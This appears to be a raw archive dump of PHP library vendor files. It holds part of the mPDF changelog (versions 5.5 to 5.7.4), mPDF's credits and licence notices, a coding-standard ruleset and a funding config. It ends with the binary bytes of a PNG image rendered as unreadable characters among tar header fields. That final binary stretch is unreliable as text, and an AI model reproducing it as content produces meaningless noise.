pagenumstyle. - CSS support for lists. - Default stylesheet - `mpdf.css` - updated. Added CSS support ----------------- - lang attribute selector e.g. :lang(fr), [lang="fr"] - font-variant-position - font-variant-caps - font-variant-ligatures - font-variant-numeric - font-variant-alternates - Only [normal | historical-forms] supported (i.e. most are NOT supported) - font-variant - as above, and except for: east-asian-variant-values, east-asian-width-values, ruby - font-language-override - font-feature-settings - text-outline is now supported on TD/TH tags - hebrew, khmer, cambodian, lao, and cjk-decimal recognised as values for "list-style-type" in numbered lists and page numbering. - list-style-image and list-style-position - transform (on `<img>` only) - text-decoration:overline - image-rendering - unicode-bidi (also `<bdi>` tag) - vertical-align can use lengths e.g. 0.5em - line-stacking-strategy - line-stacking-shift mPDF 5.7.4 ================ ### 15/12/2014 Bug Fixes & Minor Additions --------------------------- - SVG images now support embedded images e.g. `<image xlink:href="image.png" width="100px" height="100px" />` - SVG images now supports `<tspan>` element e.g. `<tspan x,y,dx,dy,text-anchor >`, and also `<tref>` - SVG images now can use Autofont (see top of `classes/svg.php` file) - SVG images now has limited support for CSS classes (see top of `classes/svg.php` file) - SVG images - style inheritance improved - SVG images - improved handling of comments and other extraneous code - SVG images - fix to ensure opacity is reset before another element - SVG images - font-size not resetting after a `<text>` element - SVG radial gradients bug (if the focus [fx,fy] lies outside circle defined by [cx,cy] and r) cf. pservers-grad-15-b.svg - SVG allows spaces in attribute definitions in `<use>` or `<defs>` e.g. `<use x = "0" y = "0" xlink:href = "#s3" />` - SVG text which contains a `<` sign, it will break the text - now processed as `<` (despite the fact that this does not conform to XML spec) - SVG images - support automatic font selection and (minimal) use of CSS classes - cf. the defined constants at top of svg.php file - SVG images - text-anchor now supported as a CSS style, as well as an HTML attribute - CSS support for :nth-child() selector improved to fully support the draft CSS3 spec - http://www.w3.org/TR/selectors/#nth-child-pseudo [NB only works on table columns or rows] - text-indent when set as "em" - incorrectly calculated if last text in line in different font size than for block - CSS not applying cascaded styles on `<A>` elements - [changed MergeCSS() type to INLINE for 'A', LEGEND, METER and PROGRESS] - fix for underline/strikethrough/overline so that line position(s) are based correctly on font-size/font in nested situations - Error: Strict warning: Only variables should be passed by reference - in PHP5.5.9 - bug accessing images from some servers (HTTP 403 Forbidden whn accessed using fopen etc.) - Setting page format incorrectly set default twice and missed some options - bug fixed in Overwrite() when specifying replacement as a string - barcode C93 - updated C93 code from TCPDF because of bug - incorrect checksum character for "153-2-4" - Tables - bug when using colspan across columns which may have a cell width specified cf. http://www.mpdf1.com/forum/discussion/2221/colspan-bug - Tables - cell height (when specified) is not resized when table is shrunk - Tables - if table width specified, but narrower than minimum cell wdith, and less than page width - table will expand to minimum cell width(s) as long as $keep_table_proportions = true - Tables - if using packTableData, and borders-collapse, wider border is overwriting content of adjacent cell Test case: ``` <table style="border-collapse: collapse;"> <tr><td style="border-bottom: 42px solid #0FF; "> Hallo world </td></tr> <tr><td style="border-top: 14px solid #0F0; "> Hallo world </td></tr> </table> ``` - Images - image height is reset proportional to original if width is set to maximum e.g. `<img width="100%" height="20mm">` - URL handling changed to work with special characters in path fragments; affects `<a>` links, `<img>` images and CSS url() e.g background-image - also to ignore `../` included as a query value - Barcodes with bottom numerals e.g. EAN-13 - incorrect numeral size when using core fonts -------------------------------- NB Spec. for embedded SVG images: as per http://www.w3.org/TR/2003/REC-SVG11-20030114/struct.html#ImageElement Attributes supported: - x - y - xlink:href (required) - can be jpeg, png or gif image - not vector (SVG or WMF) image - width (required) - height (required) - preserveAspectRatio Note: all attribute names and values are case-sensitive width and height cannot be assigned by CSS - must be attributes mPDF 5.7.3 ================ ### 24/8/2014 Bug Fixes & Minor Additions --------------------------- - Tables - cellSpacing and cellPadding taking preference over CSS stylesheet - Tables - background images in table inside HTML Footer incorrectly positioned - Tables - cell in a nested table with a specified width, should determine width of parent table cell (cf. http://www.mpdf1.com/forum/discussion/1648/nested-table-bug-) - Tables - colspan (on a row after first row) exceeds number of columns in table - Gradients in Imported documents (mPDFI) causing error in some browsers - Fatal error after page-break-after:always on root level block element - Support for 'https/SSL' if file_get_contents_by_socket required (e.g. getting images with allow_url_fopen turned off) - Improved support for specified ports when getting external CSS stylesheets e.g. www.domain.com:80 - error accessing local .css files with dummy queries (cache-busting) e.g. mpdfstyleA4.css?v=2.0.18.9 - start of end tag in PRE incorrectly changed to < - error thrown when open.basedir restriction in effect (deleting temporary files) - image which forces pagebreak incorrectly positioned at top of page - [changes to avoid warning notices by checking if (isset(x)) before referencing it] - text with letter-spacing set inside table which needs to be resixed (shrunk) - letter-spacing was not adjusted - nested table incorrectly calculating width and unnecessarily wrapping text - vertical-align:super|sub can be nested using `<span>` elements - inline elements can be nested e.g. text `<sup>text<sup>13</sup>text</sup>` text - CSS vertical-align:0.5em (or %) now supported - underline and strikethrough now use the parent inline block baseline/fontsize/color for child inline elements *** change in behaviour (Adjusts line height to take account of superscript and subscript except in tables) - nested table incorrectly calculating width and unnecessarily wrapping text - tables - font size carrying over from one nested table to the next nested table - tables - border set as attribute on `<TABLE>` overrides border set as CSS on `<TD>` - tables - if table width set to 100% and one cell/column is empty with no padding/border, sizing incorrectly (http://www.mpdf1.com/forum/discussion/1886/td-fontsize-in-nested-table-bug-#Item_5) - `<main>` added as recognised tag - CSS style transform supported on `<img>` element (only) All transform functions are supported except matrix() i.e. translate(), translateX(), translateY(), skew(), skewX(), skewY(), scale(), scaleX(), scaleY(), rotate() NB When using Columns or Keep-with-table (use_kwt), cannot use transform - CSS background-color now supported on `<img>` element - @page :first not recognised unless @page {} has styles set - left/right margins not allowed on @page :first mPDF 5.7.2 ================ ### 28/12/2013 Bug Fixes --------- - `<tfoot>` not printing at all (since v5.7) - list-style incorrectly overriding list-style-type in cascading CSS - page-break-after:avoid not taking into account bottom padding and margin when estimating if next line can fit on page - images not displayed when using "https://" if images are referenced by src="//domain.com/image" - +aCJK incorrectly parsed when instantiating class e.g. new mpDF('ja+aCJK') - line-breaking - zero-width object at end of line (e.g. index entry) causing a space left untrimmed at end of line - ToC since v5.7 incorrectly handling non-ascii characters, entities or tags - cell height miscalculated when using hard-hyphenate - border colors set with transparency not working - transparency settings for stroke and fill interfering with one another - 'float' inside a HTML header/footer - not clearing the float before first line of text - error if script run across date change at midnight - temporary file name collisions (e.g. when processing images) if numerous users - `<watermarkimage>` position attribute not working - `<` (less-than sign) inside a PRE element, and NOT start of a valid tag, was incorrectly removed - file attachments not opening in Reader XI - JPG images not recognised if not containing JFIF or Exif markers - instance of preg_replace with /e modifier causing error in PHP 5.5 - correctly handle CSS URLs with no scheme - Index entries causing errors when repeat entries are used within page-break-inside:avoid, rotated tables etc. - table with fixed width column and long word in cell set to colspan across this column (adding spare width to all columns) - incorrect hyphenation if multiple soft-hyphens on line before break - SVG images - objects contained in `<defs>` being displayed - SVG images - multiple, or quoted fonts e.g. style="font-family:'lucida grande', verdana" not recognised - SVG images - line with opacity=0 still visible (only in some PDF viewers/browsers) - text in an SVG image displaying with incorrect font in some PDF viewers/browsers - SVG images - fill:RGB(0,0,0) not recognised when uppercase - background images using data:image\/(jpeg|gif|png);base64 format - error when reading in stylesheet New CSS support --------------- - added support for style="opacity:0.6;" in SVG images - previously only supported style="fill-opacity:0.6; stroke-opacity: 0.6;" - improved PNG image handling for some cases of alpha channel transparency - khmer, cambodian and lao recognised as list-style-type for numbered lists SVG Images ---------- - Limited support for `<use>` and `<defs>` mPDF 5.7.1 ================ ## 01/09/2013 1) FILES: mpdf.php Bug fix; Dollar sign enclosed by `<pre>` tag causing error. Test e.g.: `<pre>Test $1.00 Test</pre> <pre>Test $2.00 Test</pre> <pre>Test $3.00 Test</pre> <pre>Test $4.00 Test</pre>` ----------------------------- 2) FILES: includes/functions.php AND mpdf.php Changes to `preg_replace` with `/e` modifier to use `preg_replace_callback` (/e depracated from PHP 5.5) ----------------------------- 3) FILES: classes/barcode.php Small change to function `barcode_c128()` which allows ASCII 0 - 31 to be used in C128A e.g. chr(13) in: `<barcode code="5432 1068" type="C128A" />` ----------------------------- 4) FILES: mpdf.php Using $use_kwt ("keep-[heading]-with-table") if `<h4></h4>` before table is on 2 lines and pagebreak occurs after first line the first line is displayed at the bottom of the 2nd page. Edited so that $use_kwt only works if the HEADING is only one line. Else ignores (but prints correctly) ----------------------------- 5) FILES: mpdf.php Clearing old temporary files from `_MPDF_TEMP_PATH` will now ignore "hidden" files e.g. starting with a "`.`" `.htaccess`, `.gitignore` etc. and also leave `dummy.txt` alone mPDF 5.7 =========================== ### 14/07/2013 Files changed ------------- - config.php - mpdf.php - classes/tocontents.php - classes/cssmgr.php - classes/svg.php - includes/functions.php - includes/out.php - examples/formsubmit.php [Important - Security update] Updated Example Files in /examples/ ----------------------------------- - All example files - mpdfstyleA4.css config.php ---------- Removed: - $this->hyphenateTables - $this->hyphenate - $this->orphansAllowed Edited: - "hyphens: manual" - Added to $this->defaultCSS - $this->allowedCSStags now includes '|TEXTCIRCLE|DOTTAB' New: - $this->decimal_align = array('DP'=>'.', 'DC'=>',', 'DM'=>"\xc2\xb7", 'DA'=>"\xd9\xab", 'DD'=>'-'); - $this->h2toc = array('H1'=>0, 'H2'=>1, 'H3'=>2); - $this->h2bookmarks = array('H1'=>0, 'H2'=>1, 'H3'=>2); - $this->CJKforceend = false; // Forces overflowng punctuation to hang outside right margin (used with CJK script) Backwards compatability ----------------------- Changes in mPDF 5.7 may cause some changes to the way your documents appear. There are two main differences: 1) Hyphenation. To retain appearance compatible with earlier versions, set the CSS property "hyphens: auto" whenever you previously used $mpdf->hyphenate=true; 2) Table of Contents - appearance can now be controlled with CSS styles. By default, in mPDF 5.7, no styling is applied so you will get: - No indent (previous default of 5mm) - ($tocindent is ignored) - Any font, font-size set ($tocfont or $tocfontsize) will not work - HyperLinks will appear with your default appearance - usually blue and underlined - line spacing will be narrower (can use line-height or margin-top in CSS) New features / Improvements --------------------------- - Layout of Table of Content ToC now controlled using CSS styles - Text alignment on decimal mark inside tables - Automatically generated bookmarks and/or ToC entries from H1 - H6 tags - Support for unit of "rem" as size e.g. font-size: 1rem; - Origin and clipping for background images and gradients controlled by CSS i.e. background-origin, background-size, background-clip - Text-outline controlled by CSS (compatible with CSS3 spec.) - Use of `<dottab>` enhanced by custom CSS "outdent" property - Image HTML attributes `<img>` added: max-height, max-width, min-height and min-width - Spotcolor can now be defined as it is used e.g. color: spot(PANTONE 534 EC, 100%, 85, 65, 47, 9); - Lists - added support for "start" attribute in `<ol>` e.g. `<ol start="5">` - Hyphenation controlled using CSS, consistent with CSS3 spec. - Line breaking improved to avoid breaks within words where HTML tags are used e.g. H<sub>2<sub>0 - Line breaking in CJK scripts improved (and ability to force hanging punctuation) - Numerals in a CJK script are kept together - RTL improved support for phrases containing numerals and \ and / - Bidi override codes supported - Right-to-Left Embedding [RLE] U+202B, Left-to-Right Embedding [LRE] U+202A, U+202C POP DIRECTIONAL FORMATTING (PDF) - Support for `<base href="">` in HTML - uses it to SetBasePath for relative URLs. - HTML tag - added support for `<wbr>` or `<wbr />` - converted to a soft-hyphen - CSS now takes precedence over HTML attribute e.g. `<table bgcolor="black" style="background-color:yellow">` Added CSS support ----------------- - max-height, max-width, min-height and min-width for images `<img>` - "hyphens: none|manual|auto" as per CSS3 spec. - Decimal mark alignment e.g. text-align: "." center; - "rem" accepted as a valid (font)size in CSS e.g. font-size: 1.5rem - text-outline, text-outline-width and text-outline-color supported everywhere except in tables (blur not supported) - background-origin, background-size, background-clip are now supported everywhere except in tables - "visibility: hidden|visible|printonly|screenonly" for inline elements e.g. `<span>` - Colors: device-cmyk(c,m,y,k) as per CSS3 spec. For consistency, device-cmyka also supported (not CSS3 spec) - "z-index" can be used to utilise layers in the PDF document - Custom CSS property added: "outdent" - opposite of indent The HTML elements `<dottab>` and `<textcircle>` can now have CSS properties applied to them. Bug fixes --------- - SVG images - path including e.g. 1.234E-15 incorrectly parsed (not recognising capital E) - Tables - if a table starts when the Y position on page is below bottom margin caused endless loop - Float-ing DIVs - starting a float at bottom of page and it causes page break before anything output, second new page is forced - Tables - Warning notice now given in Table footer or header if `<tfoot>` placed after `<tbody>` and table spans page - Columns - block with border-width wider than the length of the border line, line overflows - Columns - block with no padding containing a block with borders but no backgound colour, borders not printed - Table in Columns - when background color set by surrounding block element - colour missing for height of half bottom border. - TOCpagebreakByArray() when called by function was not adding the pagebreak - Border around block element - dashed not showing correctly (not resetting linewidth between different edges) - Double border in table - when background colour set in surrounding block element - shows as black line between the 2 bits of double - Borders around DIVs - "double" border problem if not all 4 sides equally - fixed - Borders around DIVs - solid (and double) borders overlap as in tables - now fixed so mitred joins as in browser [Inadvertently improves borders in Columns because of change in LineCap] - Page numbering - $mpdf->pagenumSuffix etc not suppressed in HTML headers/footers if number suppressed - Page numbering - Page number total {nbpg} incorrect - e.g. showing decreasing numbers through document, when ToC present - RTL numerals - incorrectly reversing a number followed by a comma - Transform to uppercase/lowercase not working for chars > ASCII 128 when using core fonts - TOCpagebreak - Not setting TOC-FOOTER - TOCpagebreak - toc-even-header-name etc. not working - Parsing some relative URLs incorrectly - Textcircle - when moved to next page by "page-break-inside: avoid" - Bookmarks will now work if jump more than one level e.g. 0,2,1 Inserts a new blank entry at level 1 - Paths to img or stylesheets - incorrectly reading "//www.domain.com" i.e. when starting with two / - data:image as background url() - incorrectly adjusting path on server if MPDF_PATH not specified (included in release mPDF 5.6.1) - Image problem if spaces or commas in path using http:// URL (included in release mPDF 5.6.1) - Image URL parsing rewritten to handle both urlencoded URLs and not urlencoded (included in release mPDF 5.6.1) - `<dottab>` fixed to allow color, font-size and font-family to be correctly used, avoid dots being moved to new page, and to work in RTL - Table {colsum} summed figures in table header - list-style-type (custom) colour not working - `<tocpagebreak>` toc-preHTML and toc-postHTML can now contain quotes mPDF 5.6 =========================== ### 20/01/2013 Files changed ------------- - mpdf.php - config.php - includes/functions.php - classes/meter.php - classes/directw.php config.php changes ------------------ - $this->allowedCSStags - added HTML5 tags + textcircle AND - $this->outerblocktags - added HTML5 tags - $this->defaultCSS - added default CSS properties New features / Improvements --------------------------- CSS support added for for min-height, min-width, max-height and max-width in `<img>` Images embedded in CSS - `<img src="data:image/gif;base64,....">` improved to make it more robust, and background: `url(data:image...` now added to work HTML5 tags supported - as generic block elements: `<article><aside><details><figure><figcaption><footer><header><hgroup><nav><section><summary>` - as in-line elements: `<mark><time><meter><progress>` - `<mark>` has a default CSS set in config.php to yellow highlight - `<meter>` and `<progress>` support attributes as for HTML5 - custom appearances for `<meter>` and `<progress>` can be made by editing `classes/meter.php` file - `<meter>` and `<progress>` suppress text inside the tags Textcircle/Circular - font: "auto" added: automatically sizes text to fill semicircle (if both set) or full circle (if only one set) NB for this AND ALL CSS on `<textcircle>`: does not inherit CSS styles - attribute: divider="[characters including HTML entities]" added - `<textcircle r="30mm" top-text="Text Circular Text Circular" bottom-text="Text Circular Text Circular" divider=" • " style="font-size: auto" />` » ’ ‚ „ are now included in "orphan"-management at the end of lines Improved CJK line wrapping (if CJK character at end of line, breaks there rather than previous wordspace) NB mPDF 5.5 added support for `<fieldset>` and `<legend>` (omitted from ChangeLog) Bug fixes --------- - embedded fonts: Panose string incorrectly output as decimals - changed to hexadecimal Only a problem in limited circumstances. *****Need to delete all ttfontdata/ files in order for fix to have effect. - `<textCircle>` background white even when set to none/transparent - border="0" causing mPDF to add border to table CELLS as well as table - iteration counter in THEAD crashed in some circumstances - CSS color now supports spaces in the rgb() format e.g. border: 1px solid rgb(170, 170, 170); - CJK not working in table following changes made in v5.4 - images fixed to work with Google Chart API (now mPDF does not urldecode the query part of the src) - CSS `<style>` within HTML page crashed if CSS is too large (? > 32Kb) - SVG image nested int eht HTML failed to show if code too large (? > 32Kb) - cyrillic character p р at end of table cell caused cell height to be incorrectly calculated mPDF 5.5 =========================== ### 02/03/2012 Files changed ------------- - mpdf.php - classes/ttfontsuni.php - classes/svg.php - classes/tocontents.php - config.php - config_fonts.php - utils/font_collections.php - utils/font_coverage.php - utils/font_dump.php Files added ----------- classes/ttfontsuni_analysis.php config.php changes ------------------ To avoid just the border/background-color of the (empty) end of a block being moved on to next page (`</div></div>`) `$this->margBuffer = 0; // Allow an (empty) end of block to extend beyond the bottom margin by this amount (mm)` config_fonts.php changes ------------------------ Added to (arabic) fonts to allow "use non-mapped Arabic Glyphs" e.g. for Pashto 'unAGlyphs' => true, Arabic text ----------- Arabic text (RTL) rewritten with improved support for Pashto/Sindhi/Urdu/Kurdish Presentation forms added: U+0649, U+0681, U+0682, U+0685, U+069A-U+069E, U+06A0, U+06A2, U+06A3, U+06A5, U+06AB-U+06AE, U+06B0-U+06B4, U+06B5-U+06B9, U+06BB, U+06BC, U+06BE, U+06BF, U+06C0, U+06CD, U+06CE, U+06D1, U+06D3, U+0678 Joining improved: U+0672, U+0675, U+0676, U+0677, U+0679-U+067D, U+067F, U+0680, U+0683, U+0684, U+0687, U+0687, U+0688-U+0692, U+0694, U+0695, U+0697, U+0699, U+068F, U+06A1, U+06A4, U+06A6, U+06A7, U+06A8, U+06AA, U+06BA, U+06C2-U+06CB, U+06CF Note - Some characters in Pashto/Sindhi/Urdu/Kurdish do not have Unicode values for the final/initial/medial forms of the characters. However, some fonts include these characters "un-mapped" to Unicode (including XB Zar and XB Riyaz, which are bundled with mPDF). `'unAGlyphs' => true`, added to the config_fonts.php file for appropriate fonts will This requires the font file to include a Format 2.0 POST table which references the glyphs as e.g. uni067C.med or uni067C.medi: e.g. XB Riyaz, XB Zar, Arabic Typesetting (MS), Arial (MS) NB If you want to know if a font file is suitable, you can open a .ttf file in a text editor and search for "uni067C.med" - if it exists, it may work! Using "unAGlyphs" forces subsetting of fonts, and will not work with SIP/SMP fonts (using characters beyond the Unicode BMP Plane). mPDF maps these characters to part of the Private Use Area allocated by Unicode U+F500-F7FF. This could interfere with correct use if the font already utilises these codes (unlikely). mPDF now deletes U+200C,U+200D,U+200E,U+200F zero-widthjoiner/non-joiner, LTR and RTL marks so they will not appear even though some fonts contain glyphs for these characters. Other New features / Improvements --------------------------------- Avoid just the border/background-color of the (empty) end of a block being moved on to next page (`</div></div>`) using configurable variable: `$this->margBuffer`; The TTFontsUni class contained a long function (extractcoreinfo) which is not used routinely in mPDF This has been moved to a new file: classes/ttfontsuni_analysis.php. The 3 utility scripts have been updated to use the new extended class: - utils/font_collections.php - utils/font_coverage.php - utils/font_dump.php Bug fixes --------- - Border & background when closing 2 blocks (e.g. `</div></div>`) incorrectly being moved to next page because incorrectly calculating how much space required - Fixed/Absolute-positioned elements not inheriting letter-spacing style - Rotated cell - error if text-rotate set on a table cell, but no text content in cell - SVG images, text-anchor not working - Nested table - not resetting cell style (font, color etc) after nested table, if text follows immediately - Nested table - font-size 70% set in extenal style sheet; if repeated nested tables, sets 70% of 70% etc etc - SVG setting font-size as percent on successive `<text>` elements gives progressively smaller text - mPDF will check if magic_quotes_runtime set ON even >= PHP 5.3 (will now cause an error message) - not resetting after 2 nested tags of same type e.g. `<b><b>bold</b></b>` still bold - When using charset_in other than utf-8, HTML Footers using tags e.g. `<htmlpageheader>` do not decode correctly - ToC if nested > 3 levels, line spacing reduces and starts to overlap Older changes can be seen [on the documentation site](https://mpdf.github.io/about-mpdf/changelog.html). �������������������������������vendor/mpdf/mpdf/CREDITS.txt������������������������������������������������������������������������0000644�����������������00000011335�14760002214�0011552 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� /******************************************************************************* * Software: FPDF * * Version: 1.53 * * Date: 2004-12-31 * * Author: Olivier PLATHEY * * License: Freeware * * * * You may use and modify this software as you wish. * *******************************************************************************/ /******************************************************************************* * HTML2FPDF is a php script to read a HTML text and generate a PDF file. * * Copyright (C) 2004-2005 Renato Coelho * * * * html2fpdf.php, htmltoolkit.php * *******************************************************************************/ CREDITS From HTML2FPDF: -Olivier Plathey for the fpdf.php class [http://www.fpdf.org] -Damon Kohler for the Flowing Block script [mailto:damonkohler@yahoo.com] -Clément Lavoillotte for HTML-oriented FPDF idea -Yamasoft for the gif.php class [http://www.yamasoft.com/] -Jérôme Fenal for the _parsegif() function -"VIETCOM" for the PDFTable code [http://www.freepgs.com/vietcom/tool/pdftable/] [mailto:vncommando@yahoo.com] -Yukihiro O. for the SetDash() function [mailto:yukihiro_o@infoseek.jp] -Ron Korving for the WordWrap() function -Michel Poulain for the DisplayPreferences() function -Patrick Benny for the MultiCellBlt() function idea [no longer in use] -Seb for the _SetTextRendering() and SetTextOutline() functions [mailto:captainseb@wanadoo.fr] -MorphSoft for the colornames list idea -W3SCHOOLS for HTML-related reference info [http://www.w3schools.com/] /**************************************************************************** * Software: FPDF_Protection * * Version: 1.02 * * Date: 2005/05/08 * * Author: Klemen VODOPIVEC * * License: Freeware * * * * You may use and modify this software as you wish as stated in original * * FPDF package. * ****************************************************************************/ /**************************************************************************** // FPDI - Version 1.2 // // Copyright 2004-2007 Setasign - Jan Slabon // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. ****************************************************************************/ /**************************************************************************** * @copyright Khaled Al-Shamaa 2008 * @link http://www.ar-php.org * @author Khaled Al-Shamaa <khaled@ar-php.org> * @desc Set of PHP5 / UTF-8 Classes developed to enhance Arabic web * applications by providing set of tools includes stem-based searching, * translitiration, soundex, Hijri calendar, charset detection and * converter, spell numbers, keyboard language, Muslim prayer time, * auto-summarization, and more... * @package Arabic * * @version 1.8 released in Feb 15, 2009 * * @license LGPL ****************************************************************************/ This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. [http://www.opensource.org/licenses/lgpl-license.php] ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/ruleset.xml������������������������������������������������������������������������0000644�����������������00000003525�14760002214�0012123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <ruleset name="PSR2Tabs"> <description>PSR2 with tabs instead of spaces.</description> <arg name="tab-width" value="4" /> <rule ref="PSR2"> <exclude name="Generic.Commenting.DocComment" /> <exclude name="Generic.Files.LineLength.TooLong" /> <exclude name="Generic.Files.LineLength.MaxExceeded" /> <exclude name="Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase)" /> <exclude name="Generic.WhiteSpace.DisallowTabIndent" /> <exclude name="PSR1.Files.SideEffects.FoundWithSymbols" /> <exclude name="PSR1.Methods.CamelCapsMethodName.NotCamelCaps" /> <exclude name="PSR2.Classes.ClassDeclaration.CloseBraceAfterBody" /> <exclude name="PSR2.Classes.PropertyDeclaration.ScopeMissing" /> <exclude name="PSR2.Classes.PropertyDeclaration.Underscore" /> <exclude name="PSR2.Classes.PropertyDeclaration.VarUsed" /> <exclude name="PSR2.ControlStructures.SwitchDeclaration.BodyOnNextLineCASE" /> <exclude name="PSR2.Methods.MethodDeclaration.Underscore" /> <exclude name="Squiz.ControlStructures.ControlSignature.SpaceAfterCloseBrace" /> <exclude name="Squiz.Scope.MethodScope.Missing" /> <exclude name="Squiz.WhiteSpace.ControlStructureSpacing.SpacingAfterOpen" /> <exclude name="Squiz.WhiteSpace.ControlStructureSpacing.SpacingBeforeClose" /> </rule> <rule ref="Generic.Formatting.SpaceAfterCast"> <properties> <property name="spacing" value="1" /> </properties> </rule> <rule ref="Generic.WhiteSpace.DisallowSpaceIndent" /> <rule ref="Generic.WhiteSpace.ScopeIndent"> <properties> <property name="indent" value="4" /> <property name="tabIndent" value="true" /> </properties> </rule> </ruleset> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/.github/FUNDING.yml��������������������������������������������������������0000644�����������������00000001231�14760002214�0014526 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# These are supported funding model platforms github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: "packagist/myclabs/deep-copy" community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/doc/clone.png��������������������������������������������������������������0000644�����������������00000030134�14760002214�0013730 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������‰PNG  ��� IHDR��{��h���îâÿ���sRGB�®Îé���gAMA��± üa��� pHYs��Ã��ÃÇo¨d��/ñIDATx^íÝÛmYY7àV ± jh Ò‰¡ 7Ä+½¢!rabl A½nLÄÄ nàJ@0!^4º!†È!Í4ghQ0 &Ч½{Ms>þƒú¾_Ùc9kíQU«ªÖšc̱ž'y³««fUWÕZëïoÎ9f]w���Àp„=��€ {���ö���$ì�� HØ��°��0 a��`@Â��À€„=��€ {���ö���$ì�� HØ��°��0 a��`@Â��À€„=��€ {���ö���$ì�� HØ��°��0 a��`@Â��À€„=��€ {���ö���$ì�� HØ��°��0 a��`@Â��À€„=��€ {���ö���$ì�� HØ��°Çžýìg« �æPÛ©öÅü„=†Tk0ª}Àjû Õ¾˜Ÿ°ÇJSùÉO~¢:(M€9™ú*s@;ÂC*MåÇ?þ±ê 4y�ædè«Ìí{ I“ï«ÊãqéÒ¥U}ðƒ|ôÑ€í2ôUæ€v„=†TšÊ~ô#ÕA•Ç#}Z�° 怾ÊÐŽ°Ç4ù¾J“`N怾ÊÐŽ°ÇJSùá¨:(M€9™ú*s@;ÂCÒäû*M€9™ú*s@;ÂCÒäû*M€9™ú*s@;ÂC*Må?øê 4y�ædè«Ìí{ I“ï«4y�ædè«Ìí{ ©4•ïÿûªƒÒ䘓9 ¯2´#ì1$M¾¯Ò䘓9 ¯2´#ì1$M¾¯Ò䘓9 ¯2´#ì1¤ÒT¾÷½ï©J“`N怾ÊÐŽ°Ç4ù¾J“`N怾ÊÐŽ°ÇJSùîw¿«:(M€9™ú*s@;ÂCÒäû*M€9™ú*s@;ÂCÒäû*M€9™ú*s@;ÂC*Må;ßùŽê 4y�ædè«Ìí{ I“ï«4y�ædè«Ìí{ ©4•oûÛªƒÒ䘓9 ¯2´#ì1$M¾¯Ò䘓9 ¯2´#ì1¤¥7ù×¼æ5×]wÝa=ñ‰O<øô§?]Ýn)¥É0§^ç€mïßÿçþçàÆo\}Íi½÷½ï­~N‹2´#ì1¤ÒT¾õ­o-®>ÿùÏ_Ó¸ßüæ7W·]Jiò�Ì©Ç9`›û÷Ú×:®új_cÎ2´#ì1¤›ü¦õö·¿ýšF}à 7|éK_ªn¿„Òä˜SsÀ¶öïýèG¯ù:§UëÀghGØcH¥©|ó›ß\T}ýë_?xÉK^rؘ³ø‹¿ø‹U£¾ë®»ªŸ³„Òä˜SosÀ¶öï<òÈÁ³žõ¬Õç¦Þô¦7]³ÝwÜqd›ü?¯^½zÍvs•9 a!õÖä7­Ï}îs«Ë2^ð‚Ü}÷Ý«Fýò—¿¼ú9K(M€9õ6lkÿþ¶·½mõyYó÷oÿöoÕíRùÈGVÛ¦j¡p®2´#ì1¤ÒT¾ño,ª¦M<MyºsHS¿çž{ªŸ×{iò�Ì©·9`û÷¯}ík«³ƒåëÔ¶›Öô _BæW¾ò•êv».s@;ÂCê­ÉoR_ýêWW—f”ÆžÆÞciò�Ì©§9`[û÷óÄøëÿG.å|衇ªÛíºÌí{ ©§&¿iMòôèÛôh`Ë£r)M€9õ4lkÿ> {›·ó|Î.ÊÐŽ°ÇJSÉ‚è¥Ôí·ß¾júû·»zÿÃ?|äˆà§>õ©#Ÿ·„Òä˜SOs@Ëýû‡>ô¡Õÿ;aïÊ•+Õív]æ€v„=†ÔS“ߤNkøÓÅm·ÝväcK(M€9õ2´Þ¿÷2?˜ÚöRi*¹&~ 5=òöüç?ÿðoî÷ñ™»|ùò‘÷^š<�sêeh¹ÿ¯ÿú¯Õ%œ©÷¼ç=Õíæ(s@;ÂCê¥ÉoRY¸ýâ¿xÕŒßøÆ7^³M®ã/G[7ìó”&Àœz˜Zîß×ÿßµ 9g™ÚöRM~ÓšyË%Ÿüä'«Û½úÕ¯î¦iŸµ4y�æÔÃÐjÿ¾ôNúÏUæ€v„=†TšÊ#<Ò}ýã?þã‘&õêÕêviŠÓÆý‰O|¢º]¥É0§æ€û÷¬|Ñ‹^´úz©w¿ûÝÕmç,s@;ÂCê¡ÉoRëM9—xÔ¶K}ùË_>r©ÇIÛöVš<�sj=´Ø¿÷ôRæ€v„=†TšJ.eè¹>ðiÊg©'?ùÉ<ð@õëöVš<�sj=̽Ï¥Ÿ7ÝtÓ‘¯ó®w½«ºm‹2´#ì1¤ÖM~ÓzÕ«^u¤1Ÿµzjä'•&ÀœZÏsîßÿó?ÿóà©O}êêsË¥ µm[•9 